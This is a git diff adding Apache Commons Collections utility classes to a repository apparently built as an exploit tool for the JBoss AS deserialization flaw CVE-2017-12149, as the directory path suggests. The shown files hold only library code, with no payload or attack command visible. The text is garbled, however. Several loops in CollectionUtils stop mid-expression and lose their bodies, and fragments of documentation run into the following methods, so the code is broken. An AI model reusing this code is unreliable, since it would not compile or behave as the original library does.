+ * @throws IllegalArgumentException if any closure in the array is null
+ */
+ public static Closure chainedClosure(Closure[] closures) {
+ return ChainedClosure.getInstance(closures);
+ }
+
+ /**
+ * Create a new Closure that calls each closure in turn, passing the
+ * result into the next closure. The ordering is that of the iterator()
+ * method on the collection.
+ *
+ * @see org.apache.commons.collections.functors.ChainedClosure
+ *
+ * @param closures a collection of closures to chain
+ * @return the chained
closure
+ * @throws IllegalArgumentException if the closures collection is null
+ * @throws IllegalArgumentException if the closures collection is empty
+ * @throws IllegalArgumentException if any closure in the collection is null
+ */
+ public static Closure chainedClosure(Collection closures) {
+ return ChainedClosure.getInstance(closures);
+ }
+
+ /**
+ * Create a new Closure that calls one of two closures depending
+ * on the specified predicate.
+ *
+ * @see org.apache.commons.collections.functors.IfClosure
+ *
+ * @param predicate the predicate to switch on
+ * @param trueClosure the closure called if the predicate is true
+ * @param falseClosure the closure called if the predicate is false
+ * @return the switch
closure
+ * @throws IllegalArgumentException if the predicate is null
+ * @throws IllegalArgumentException if either closure is null
+ */
+ public static Closure ifClosure(Predicate predicate, Closure trueClosure, Closure falseClosure) {
+ return IfClosure.getInstance(predicate, trueClosure, falseClosure);
+ }
+
+ /**
+ * Create a new Closure that calls one of the closures depending
+ * on the predicates.
+ *
+ * The closure at array location 0 is called if the predicate at array
+ * location 0 returned true. Each predicate is evaluated
+ * until one returns true.
+ *
+ * @see org.apache.commons.collections.functors.SwitchClosure
+ *
+ * @param predicates an array of predicates to check, not null
+ * @param closures an array of closures to call, not null
+ * @return the switch
closure
+ * @throws IllegalArgumentException if the either array is null
+ * @throws IllegalArgumentException if any element in the arrays is null
+ * @throws IllegalArgumentException if the arrays are different sizes
+ */
+ public static Closure switchClosure(Predicate[] predicates, Closure[] closures) {
+ return SwitchClosure.getInstance(predicates, closures, null);
+ }
+
+ /**
+ * Create a new Closure that calls one of the closures depending
+ * on the predicates.
+ *
+ * The closure at array location 0 is called if the predicate at array
+ * location 0 returned true. Each predicate is evaluated
+ * until one returns true. If no predicates evaluate to true, the default
+ * closure is called.
+ *
+ * @see org.apache.commons.collections.functors.SwitchClosure
+ *
+ * @param predicates an array of predicates to check, not null
+ * @param closures an array of closures to call, not null
+ * @param defaultClosure the default to call if no predicate matches
+ * @return the switch
closure
+ * @throws IllegalArgumentException if the either array is null
+ * @throws IllegalArgumentException if any element in the arrays is null
+ * @throws IllegalArgumentException if the arrays are different sizes
+ */
+ public static Closure switchClosure(Predicate[] predicates, Closure[] closures, Closure defaultClosure) {
+ return SwitchClosure.getInstance(predicates, closures, defaultClosure);
+ }
+
+ /**
+ * Create a new Closure that calls one of the closures depending
+ * on the predicates.
+ *
+ * The Map consists of Predicate keys and Closure values. A closure
+ * is called if its matching predicate returns true. Each predicate is evaluated
+ * until one returns true. If no predicates evaluate to true, the default
+ * closure is called. The default closure is set in the map with a
+ * null key. The ordering is that of the iterator() method on the entryset
+ * collection of the map.
+ *
+ * @see org.apache.commons.collections.functors.SwitchClosure
+ *
+ * @param predicatesAndClosures a map of predicates to closures
+ * @return the switch
closure
+ * @throws IllegalArgumentException if the map is null
+ * @throws IllegalArgumentException if the map is empty
+ * @throws IllegalArgumentException if any closure in the map is null
+ * @throws ClassCastException if the map elements are of the wrong type
+ */
+ public static Closure switchClosure(Map predicatesAndClosures) {
+ return SwitchClosure.getInstance(predicatesAndClosures);
+ }
+
+ /**
+ * Create a new Closure that uses the input object as a key to find the
+ * closure to call.
+ *
+ * The Map consists of object keys and Closure values. A closure
+ * is called if the input object equals the key. If there is no match, the
+ * default closure is called. The default closure is set in the map
+ * using a null key.
+ *
+ * @see org.apache.commons.collections.functors.SwitchClosure
+ *
+ * @param objectsAndClosures a map of objects to closures
+ * @return the closure
+ * @throws IllegalArgumentException if the map is null
+ * @throws IllegalArgumentException if the map is empty
+ * @throws IllegalArgumentException if any closure in the map is null
+ */
+ public static Closure switchMapClosure(Map objectsAndClosures) {
+ Closure[] trs = null;
+ Predicate[] preds = null;
+ if (objectsAndClosures == null) {
+ throw new IllegalArgumentException("The object and closure map must not be null");
+ }
+ Closure def = (Closure) objectsAndClosures.remove(null);
+ int size = objectsAndClosures.size();
+ trs = new Closure[size];
+ preds = new Predicate[size];
+ int i = 0;
+ for (Iterator it = objectsAndClosures.entrySet().iterator(); it.hasNext();) {
+ Map.Entry entry = (Map.Entry) it.next();
+ preds[i] = EqualPredicate.getInstance(entry.getKey());
+ trs[i] = (Closure) entry.getValue();
+ i++;
+ }
+ return switchClosure(preds, trs, def);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/CollectionUtils.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/CollectionUtils.java"
new file mode 100644
index 0000000..94bee14
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/CollectionUtils.java"
@@ -0,0 +1,1084 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.lang.reflect.Array;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.Map;
+import java.util.Set;
+
+import org.apache.commons.collections.collection.PredicatedCollection;
+import org.apache.commons.collections.collection.SynchronizedCollection;
+import org.apache.commons.collections.collection.TransformedCollection;
+import org.apache.commons.collections.collection.TypedCollection;
+import org.apache.commons.collections.collection.UnmodifiableBoundedCollection;
+import org.apache.commons.collections.collection.UnmodifiableCollection;
+
+/**
+ * Provides utility methods and decorators for {@link Collection} instances.
+ *
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.61 $ $Date: 2004/04/27 20:00:18 $
+ *
+ * @author Rodney Waldhoff
+ * @author Paul Jack
+ * @author Stephen Colebourne
+ * @author Steve Downey
+ * @author Herve Quiroz
+ * @author Peter KoBek
+ * @author Matthew Hawthorne
+ * @author Janek Bogucki
+ * @author Phil Steitz
+ * @author Steven Melzer
+ * @author Jon Schewe
+ */
+public class CollectionUtils {
+
+ /** Constant to avoid repeated object creation */
+ private static Integer INTEGER_ONE = new Integer(1);
+
+ /**
+ * An empty unmodifiable collection.
+ * The JDK provides empty Set and List implementations which could be used for
+ * this purpose. However they could be cast to Set or List which might be
+ * undesirable. This implementation only implements Collection.
+ */
+ public static final Collection EMPTY_COLLECTION = UnmodifiableCollection.decorate(new ArrayList());
+
+ /**
+ * CollectionUtils
should not normally be instantiated.
+ */
+ public CollectionUtils() {
+ }
+
+ /**
+ * Returns a {@link Collection} containing the union
+ * of the given {@link Collection}s.
+ *
+ * The cardinality of each element in the returned {@link Collection}
+ * will be equal to the maximum of the cardinality of that element
+ * in the two given {@link Collection}s.
+ *
+ * @param a the first collection, must not be null
+ * @param b the second collection, must not be null
+ * @return the union of the two collections
+ * @see Collection#addAll
+ */
+ public static Collection union(final Collection a, final Collection b) {
+ ArrayList list = new ArrayList();
+ Map mapa = getCardinalityMap(a);
+ Map mapb = getCardinalityMap(b);
+ Set elts = new HashSet(a);
+ elts.addAll(b);
+ Iterator it = elts.iterator();
+ while(it.hasNext()) {
+ Object obj = it.next();
+ for(int i=0,m=Math.max(getFreq(obj,mapa),getFreq(obj,mapb));i
+ * This is equivalent to
+ * {@link #subtract subtract}({@link #union union(a,b)},{@link #intersection intersection(a,b)})
+ * or
+ * {@link #union union}({@link #subtract subtract(a,b)},{@link #subtract subtract(b,a)}).
+ *
+ * @param a the first collection, must not be null
+ * @param b the second collection, must not be null
+ * @return the symmetric difference of the two collections
+ */
+ public static Collection disjunction(final Collection a, final Collection b) {
+ ArrayList list = new ArrayList();
+ Map mapa = getCardinalityMap(a);
+ Map mapb = getCardinalityMap(b);
+ Set elts = new HashSet(a);
+ elts.addAll(b);
+ Iterator it = elts.iterator();
+ while(it.hasNext()) {
+ Object obj = it.next();
+ for(int i=0,m=((Math.max(getFreq(obj,mapa),getFreq(obj,mapb)))-(Math.min(getFreq(obj,mapa),getFreq(obj,mapb))));i
+ * In other words, this method returns
+ * Only those elements present in the collection will appear as
+ * keys in the map.
+ *
+ * @param coll the collection to get the cardinality map for, must not be null
+ * @return the populated cardinality map
+ */
+ public static Map getCardinalityMap(final Collection coll) {
+ Map count = new HashMap();
+ for (Iterator it = coll.iterator(); it.hasNext();) {
+ Object obj = it.next();
+ Integer c = (Integer) (count.get(obj));
+ if (c == null) {
+ count.put(obj,INTEGER_ONE);
+ } else {
+ count.put(obj,new Integer(c.intValue() + 1));
+ }
+ }
+ return count;
+ }
+
+ /**
+ * Returns true iff a is a sub-collection of b,
+ * that is, iff the cardinality of e in a is less
+ * than or equal to the cardinality of e in b,
+ * for each element e in a.
+ *
+ * @param a the first (sub?) collection, must not be null
+ * @param b the second (super?) collection, must not be null
+ * @return
+ * The implementation assumes
+ *
+ * That is, iff the cardinality of e in a is
+ * equal to the cardinality of e in b,
+ * for each element e in a or b.
+ *
+ * @param a the first collection, must not be null
+ * @param b the second collection, must not be null
+ * @return
+ * If the input collection or predicate is null, or no element of the collection
+ * matches the predicate, null is returned.
+ *
+ * @param collection the collection to search, may be null
+ * @param predicate the predicate to use, may be null
+ * @return the first element of the collection which matches the predicate or null if none could be found
+ */
+ public static Object find(Collection collection, Predicate predicate) {
+ if (collection != null && predicate != null) {
+ for (Iterator iter = collection.iterator(); iter.hasNext();) {
+ Object item = iter.next();
+ if (predicate.evaluate(item)) {
+ return item;
+ }
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Executes the given closure on each element in the collection.
+ *
+ * If the input collection or closure is null, there is no change made.
+ *
+ * @param collection the collection to get the input from, may be null
+ * @param closure the closure to perform, may be null
+ */
+ public static void forAllDo(Collection collection, Closure closure) {
+ if (collection != null && closure != null) {
+ for (Iterator it = collection.iterator(); it.hasNext();) {
+ closure.execute(it.next());
+ }
+ }
+ }
+
+ /**
+ * Filter the collection by applying a Predicate to each element. If the
+ * predicate returns false, remove the element.
+ *
+ * If the input collection or predicate is null, there is no change made.
+ *
+ * @param collection the collection to get the input from, may be null
+ * @param predicate the predicate to use as a filter, may be null
+ */
+ public static void filter(Collection collection, Predicate predicate) {
+ if (collection != null && predicate != null) {
+ for (Iterator it = collection.iterator(); it.hasNext();) {
+ if (predicate.evaluate(it.next()) == false) {
+ it.remove();
+ }
+ }
+ }
+ }
+
+ /**
+ * Transform the collection by applying a Transformer to each element.
+ *
+ * If the input collection or transformer is null, there is no change made.
+ *
+ * This routine is best for Lists, for which set() is used to do the
+ * transformations "in place." For other Collections, clear() and addAll()
+ * are used to replace elements.
+ *
+ * If the input collection controls its input, such as a Set, and the
+ * Transformer creates duplicates (or are otherwise invalid), the
+ * collection may reduce in size due to calling this method.
+ *
+ * @param collection the collection to get the input from, may be null
+ * @param transformer the transformer to perform, may be null
+ */
+ public static void transform(Collection collection, Transformer transformer) {
+ if (collection != null && transformer != null) {
+ if (collection instanceof List) {
+ List list = (List) collection;
+ for (ListIterator it = list.listIterator(); it.hasNext();) {
+ it.set(transformer.transform(it.next()));
+ }
+ } else {
+ Collection resultCollection = collect(collection, transformer);
+ collection.clear();
+ collection.addAll(resultCollection);
+ }
+ }
+ }
+
+ /**
+ * Counts the number of elements in the input collection that match the predicate.
+ *
+ * A
+ * A
+ * A
+ * If the input collection or predicate is null, there is no change to the
+ * output collection.
+ *
+ * @param inputCollection the collection to get the input from, may be null
+ * @param predicate the predicate to use, may be null
+ * @param outputCollection the collection to output into, may not be null
+ */
+ public static void select(Collection inputCollection, Predicate predicate, Collection outputCollection) {
+ if (inputCollection != null && predicate != null) {
+ for (Iterator iter = inputCollection.iterator(); iter.hasNext();) {
+ Object item = iter.next();
+ if (predicate.evaluate(item)) {
+ outputCollection.add(item);
+ }
+ }
+ }
+ }
+
+ /**
+ * Selects all elements from inputCollection which don't match the given predicate
+ * into an output collection.
+ *
+ * If the input predicate is
+ * If the input predicate is
+ * If the input transformer is null, the result is an empty list.
+ *
+ * @param inputCollection the collection to get the input from, may not be null
+ * @param transformer the transformer to use, may be null
+ * @return the transformed result (new list)
+ * @throws NullPointerException if the input collection is null
+ */
+ public static Collection collect(Collection inputCollection, Transformer transformer) {
+ ArrayList answer = new ArrayList(inputCollection.size());
+ collect(inputCollection, transformer, answer);
+ return answer;
+ }
+
+ /**
+ * Transforms all elements from the inputIterator with the given transformer
+ * and adds them to the outputCollection.
+ *
+ * If the input iterator or transformer is null, the result is an empty list.
+ *
+ * @param inputIterator the iterator to get the input from, may be null
+ * @param transformer the transformer to use, may be null
+ * @return the transformed result (new list)
+ */
+ public static Collection collect(Iterator inputIterator, Transformer transformer) {
+ ArrayList answer = new ArrayList();
+ collect(inputIterator, transformer, answer);
+ return answer;
+ }
+
+ /**
+ * Transforms all elements from inputCollection with the given transformer
+ * and adds them to the outputCollection.
+ *
+ * If the input collection or transformer is null, there is no change to the
+ * output collection.
+ *
+ * @param inputCollection the collection to get the input from, may be null
+ * @param transformer the transformer to use, may be null
+ * @param outputCollection the collection to output into, may not be null
+ * @return the outputCollection with the transformed input added
+ * @throws NullPointerException if the output collection is null
+ */
+ public static Collection collect(Collection inputCollection, final Transformer transformer, final Collection outputCollection) {
+ if (inputCollection != null) {
+ return collect(inputCollection.iterator(), transformer, outputCollection);
+ }
+ return outputCollection;
+ }
+
+ /**
+ * Transforms all elements from the inputIterator with the given transformer
+ * and adds them to the outputCollection.
+ *
+ * If the input iterator or transformer is null, there is no change to the
+ * output collection.
+ *
+ * @param inputIterator the iterator to get the input from, may be null
+ * @param transformer the transformer to use, may be null
+ * @param outputCollection the collection to output into, may not be null
+ * @return the outputCollection with the transformed input added
+ * @throws NullPointerException if the output collection is null
+ */
+ public static Collection collect(Iterator inputIterator, final Transformer transformer, final Collection outputCollection) {
+ if (inputIterator != null && transformer != null) {
+ while (inputIterator.hasNext()) {
+ Object item = inputIterator.next();
+ Object value = transformer.transform(item);
+ outputCollection.add(value);
+ }
+ }
+ return outputCollection;
+ }
+
+ /**
+ * Adds all elements in the iteration to the given collection.
+ *
+ * @param collection the collection to add to
+ * @param iterator the iterator of elements to add, may not be null
+ * @throws NullPointerException if the collection or iterator is null
+ */
+ public static void addAll(Collection collection, Iterator iterator) {
+ while (iterator.hasNext()) {
+ collection.add(iterator.next());
+ }
+ }
+
+ /**
+ * Adds all elements in the enumeration to the given collection.
+ *
+ * @param collection the collection to add to
+ * @param enumeration the enumeration of elements to add, may not be null
+ * @throws NullPointerException if the collection or enumeration is null
+ */
+ public static void addAll(Collection collection, Enumeration enumeration) {
+ while (enumeration.hasMoreElements()) {
+ collection.add(enumeration.nextElement());
+ }
+ }
+
+ /**
+ * Adds all elements in the array to the given collection.
+ *
+ * @param collection the collection to add to, may not be null
+ * @param elements the array of elements to add, may not be null
+ * @throws NullPointerException if the collection or array is null
+ */
+ public static void addAll(Collection collection, Object[] elements) {
+ for (int i = 0, size = elements.length; i < size; i++) {
+ collection.add(elements[i]);
+ }
+ }
+
+ /**
+ * Given an Object, and an index, returns the nth value in the
+ * object.
+ *
+ * The supported types, and associated semantics are:
+ *
+ * This method can handles objects as follows
+ *
+ * This method uses the {@link BoundedCollection} interface to determine the
+ * full status. If the collection does not implement this interface then
+ * false is returned.
+ *
+ * The collection does not have to implement this interface directly.
+ * If the collection has been decorated using the decorators subpackage
+ * then these will be removed to access the BoundedCollection.
+ *
+ * @param coll the collection to check
+ * @return true if the BoundedCollection is full
+ * @throws NullPointerException if the collection is null
+ */
+ public static boolean isFull(Collection coll) {
+ if (coll == null) {
+ throw new NullPointerException("The collection must not be null");
+ }
+ if (coll instanceof BoundedCollection) {
+ return ((BoundedCollection) coll).isFull();
+ }
+ try {
+ BoundedCollection bcoll = UnmodifiableBoundedCollection.decorateUsing(coll);
+ return bcoll.isFull();
+
+ } catch (IllegalArgumentException ex) {
+ return false;
+ }
+ }
+
+ /**
+ * Get the maximum number of elements that the Collection can contain.
+ *
+ * This method uses the {@link BoundedCollection} interface to determine the
+ * maximum size. If the collection does not implement this interface then
+ * -1 is returned.
+ *
+ * The collection does not have to implement this interface directly.
+ * If the collection has been decorated using the decorators subpackage
+ * then these will be removed to access the BoundedCollection.
+ *
+ * @param coll the collection to check
+ * @return the maximum size of the BoundedCollection, -1 if no maximum size
+ * @throws NullPointerException if the collection is null
+ */
+ public static int maxSize(Collection coll) {
+ if (coll == null) {
+ throw new NullPointerException("The collection must not be null");
+ }
+ if (coll instanceof BoundedCollection) {
+ return ((BoundedCollection) coll).maxSize();
+ }
+ try {
+ BoundedCollection bcoll = UnmodifiableBoundedCollection.decorateUsing(coll);
+ return bcoll.maxSize();
+
+ } catch (IllegalArgumentException ex) {
+ return -1;
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns a synchronized collection backed by the given collection.
+ *
+ * You must manually synchronize on the returned buffer's iterator to
+ * avoid non-deterministic behavior:
+ *
+ *
+ * This method uses the implementation in the decorators subpackage.
+ *
+ * @param collection the collection to make unmodifiable, must not be null
+ * @return an unmodifiable collection backed by the given collection
+ * @throws IllegalArgumentException if the collection is null
+ */
+ public static Collection unmodifiableCollection(Collection collection) {
+ return UnmodifiableCollection.decorate(collection);
+ }
+
+ /**
+ * Returns a predicated (validating) collection backed by the given collection.
+ *
+ * Only objects that pass the test in the given predicate can be added to the collection.
+ * Trying to add an invalid object results in an IllegalArgumentException.
+ * It is important not to use the original collection after invoking this method,
+ * as it is a backdoor for adding invalid objects.
+ *
+ * @param collection the collection to predicate, must not be null
+ * @param predicate the predicate for the collection, must not be null
+ * @return a predicated collection backed by the given collection
+ * @throws IllegalArgumentException if the Collection is null
+ */
+ public static Collection predicatedCollection(Collection collection, Predicate predicate) {
+ return PredicatedCollection.decorate(collection, predicate);
+ }
+
+ /**
+ * Returns a typed collection backed by the given collection.
+ *
+ * Only objects of the specified type can be added to the collection.
+ *
+ * @param collection the collection to limit to a specific type, must not be null
+ * @param type the type of objects which may be added to the collection
+ * @return a typed collection backed by the specified collection
+ */
+ public static Collection typedCollection(Collection collection, Class type) {
+ return TypedCollection.decorate(collection, type);
+ }
+
+ /**
+ * Returns a transformed bag backed by the given collection.
+ *
+ * Each object is passed through the transformer as it is added to the
+ * Collection. It is important not to use the original collection after invoking this
+ * method, as it is a backdoor for adding untransformed objects.
+ *
+ * @param collection the collection to predicate, must not be null
+ * @param transformer the transformer for the collection, must not be null
+ * @return a transformed collection backed by the given collection
+ * @throws IllegalArgumentException if the Collection or Transformer is null
+ */
+ public static Collection transformedCollection(Collection collection, Transformer transformer) {
+ return TransformedCollection.decorate(collection, transformer);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ComparatorUtils.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ComparatorUtils.java"
new file mode 100644
index 0000000..cd0c57b
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ComparatorUtils.java"
@@ -0,0 +1,240 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Collection;
+import java.util.Comparator;
+
+import org.apache.commons.collections.comparators.BooleanComparator;
+import org.apache.commons.collections.comparators.ComparableComparator;
+import org.apache.commons.collections.comparators.ComparatorChain;
+import org.apache.commons.collections.comparators.NullComparator;
+import org.apache.commons.collections.comparators.ReverseComparator;
+import org.apache.commons.collections.comparators.TransformingComparator;
+
+/**
+ * Provides convenient static utility methods for
+ * Most of the functionality in this class can also be found in the
+ *
+ * The second comparator is used if the first comparator returns equal.
+ *
+ * @param comparator1 the first comparator to use, not null
+ * @param comparator2 the first comparator to use, not null
+ * @return a {@link ComparatorChain} formed from the two comparators
+ * @throws NullPointerException if either comparator is null
+ * @see ComparatorChain
+ */
+ public static Comparator chainedComparator(Comparator comparator1, Comparator comparator2) {
+ return chainedComparator(new Comparator[] {comparator1, comparator2});
+ }
+
+ /**
+ * Gets a comparator that compares using an array of {@link Comparator}s, applied
+ * in sequence until one returns not equal or the array is exhausted.
+ *
+ * @param comparators the comparators to use, not null or empty or containing nulls
+ * @return a {@link ComparatorChain} formed from the input comparators
+ * @throws NullPointerException if comparators array is null or contains a null
+ * @see ComparatorChain
+ */
+ public static Comparator chainedComparator(Comparator[] comparators) {
+ ComparatorChain chain = new ComparatorChain();
+ for (int i = 0; i < comparators.length; i++) {
+ if (comparators[i] == null) {
+ throw new NullPointerException("Comparator cannot be null");
+ }
+ chain.addComparator(comparators[i]);
+ }
+ return chain;
+ }
+
+ /**
+ * Gets a comparator that compares using a collection of {@link Comparator}s,
+ * applied in (default iterator) sequence until one returns not equal or the
+ * collection is exhausted.
+ *
+ * @param comparators the comparators to use, not null or empty or containing nulls
+ * @return a {@link ComparatorChain} formed from the input comparators
+ * @throws NullPointerException if comparators collection is null or contains a null
+ * @throws ClassCastException if the comparators collection contains the wrong object type
+ * @see ComparatorChain
+ */
+ public static Comparator chainedComparator(Collection comparators) {
+ return chainedComparator(
+ (Comparator[]) comparators.toArray(new Comparator[comparators.size()])
+ );
+ }
+
+ /**
+ * Gets a comparator that reverses the order of the given comparator.
+ *
+ * @param comparator the comparator to reverse
+ * @return a comparator that reverses the order of the input comparator
+ * @see ReverseComparator
+ */
+ public static Comparator reversedComparator(Comparator comparator) {
+ if (comparator == null) {
+ comparator = NATURAL_COMPARATOR;
+ }
+ return new ReverseComparator(comparator);
+ }
+
+ /**
+ * Gets a Comparator that can sort Boolean objects.
+ *
+ * The parameter specifies whether true or false is sorted first.
+ *
+ * The comparator throws NullPointerException if a null value is compared.
+ *
+ * @param trueFirst when
+ * The returned comparator will consider a null value to be less than
+ * any nonnull value, and equal to any other null value. Two nonnull
+ * values will be evaluated with the given comparator.
+ *
+ * @param comparator the comparator that wants to allow nulls
+ * @return a version of that comparator that allows nulls
+ * @see NullComparator
+ */
+ public static Comparator nullLowComparator(Comparator comparator) {
+ if (comparator == null) {
+ comparator = NATURAL_COMPARATOR;
+ }
+ return new NullComparator(comparator, false);
+ }
+
+ /**
+ * Gets a Comparator that controls the comparison of
+ * The returned comparator will consider a null value to be greater than
+ * any nonnull value, and equal to any other null value. Two nonnull
+ * values will be evaluated with the given comparator.
+ *
+ * @param comparator the comparator that wants to allow nulls
+ * @return a version of that comparator that allows nulls
+ * @see NullComparator
+ */
+ public static Comparator nullHighComparator(Comparator comparator) {
+ if (comparator == null) {
+ comparator = NATURAL_COMPARATOR;
+ }
+ return new NullComparator(comparator, true);
+ }
+
+ /**
+ * Gets a Comparator that passes transformed objects to the given comparator.
+ *
+ * Objects passed to the returned comparator will first be transformed
+ * by the given transformer before they are compared by the given
+ * comparator.
+ *
+ * @param comparator the sort order to use
+ * @param transformer the transformer to use
+ * @return a comparator that transforms its input objects before comparing them
+ * @see TransformingComparator
+ */
+ public static Comparator transformedComparator(Comparator comparator, Transformer transformer) {
+ if (comparator == null) {
+ comparator = NATURAL_COMPARATOR;
+ }
+ return new TransformingComparator(transformer, comparator);
+ }
+
+ /**
+ * Returns the smaller of the given objects according to the given
+ * comparator, returning the second object if the comparator
+ * returns equal.
+ *
+ * @param o1 the first object to compare
+ * @param o2 the second object to compare
+ * @param comparator the sort order to use
+ * @return the smaller of the two objects
+ */
+ public static Object min(Object o1, Object o2, Comparator comparator) {
+ if (comparator == null) {
+ comparator = NATURAL_COMPARATOR;
+ }
+ int c = comparator.compare(o1, o2);
+ return (c < 0) ? o1 : o2;
+ }
+
+ /**
+ * Returns the larger of the given objects according to the given
+ * comparator, returning the second object if the comparator
+ * returns equal.
+ *
+ * @param o1 the first object to compare
+ * @param o2 the second object to compare
+ * @param comparator the sort order to use
+ * @return the larger of the two objects
+ */
+ public static Object max(Object o1, Object o2, Comparator comparator) {
+ if (comparator == null) {
+ comparator = NATURAL_COMPARATOR;
+ }
+ int c = comparator.compare(o1, o2);
+ return (c > 0) ? o1 : o2;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/CursorableLinkedList.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/CursorableLinkedList.java"
new file mode 100644
index 0000000..221f7f7
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/CursorableLinkedList.java"
@@ -0,0 +1,1463 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.lang.reflect.Array;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.NoSuchElementException;
+import java.lang.ref.WeakReference;
+
+/**
+ * A doubly-linked list implementation of the {@link List} interface,
+ * supporting a {@link ListIterator} that allows concurrent modifications
+ * to the underlying list.
+ *
+ * Implements all of the optional {@link List} operations, the
+ * stack/queue/dequeue operations available in {@link java.util.LinkedList}
+ * and supports a {@link ListIterator} that allows concurrent modifications
+ * to the underlying list (see {@link #cursor}).
+ *
+ * Note that this implementation is not synchronized.
+ *
+ * @deprecated Use new version in list subpackage, which has been rewritten
+ * and now returns the cursor from the listIterator method. Will be removed in v4.0
+ * @see java.util.LinkedList
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.23 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Rodney Waldhoff
+ * @author Janek Bogucki
+ * @author Simon Kitching
+ */
+public class CursorableLinkedList implements List, Serializable {
+ /** Ensure serialization compatibility */
+ private static final long serialVersionUID = 8836393098519411393L;
+
+ //--- public methods ---------------------------------------------
+
+ /**
+ * Appends the specified element to the end of this list.
+ *
+ * @param o element to be appended to this list.
+ * @return true
+ */
+ public boolean add(Object o) {
+ insertListable(_head.prev(),null,o);
+ return true;
+ }
+
+ /**
+ * Inserts the specified element at the specified position in this list.
+ * Shifts the element currently at that position (if any) and any subsequent
+ * elements to the right (adds one to their indices).
+ *
+ * @param index index at which the specified element is to be inserted.
+ * @param element element to be inserted.
+ *
+ * @throws ClassCastException if the class of the specified element
+ * prevents it from being added to this list.
+ * @throws IllegalArgumentException if some aspect of the specified
+ * element prevents it from being added to this list.
+ * @throws IndexOutOfBoundsException if the index is out of range
+ * (index < 0 || index > size()).
+ */
+ public void add(int index, Object element) {
+ if(index == _size) {
+ add(element);
+ } else {
+ if(index < 0 || index > _size) {
+ throw new IndexOutOfBoundsException(String.valueOf(index) + " < 0 or " + String.valueOf(index) + " > " + _size);
+ }
+ Listable succ = (isEmpty() ? null : getListableAt(index));
+ Listable pred = (null == succ ? null : succ.prev());
+ insertListable(pred,succ,element);
+ }
+ }
+
+ /**
+ * Appends all of the elements in the specified collection to the end of
+ * this list, in the order that they are returned by the specified
+ * {@link Collection}'s {@link Iterator}. The behavior of this operation is
+ * unspecified if the specified collection is modified while
+ * the operation is in progress. (Note that this will occur if the
+ * specified collection is this list, and it's nonempty.)
+ *
+ * @param c collection whose elements are to be added to this list.
+ * @return true if this list changed as a result of the call.
+ *
+ * @throws ClassCastException if the class of an element in the specified
+ * collection prevents it from being added to this list.
+ * @throws IllegalArgumentException if some aspect of an element in the
+ * specified collection prevents it from being added to this
+ * list.
+ */
+ public boolean addAll(Collection c) {
+ if(c.isEmpty()) {
+ return false;
+ }
+ Iterator it = c.iterator();
+ while(it.hasNext()) {
+ insertListable(_head.prev(),null,it.next());
+ }
+ return true;
+ }
+
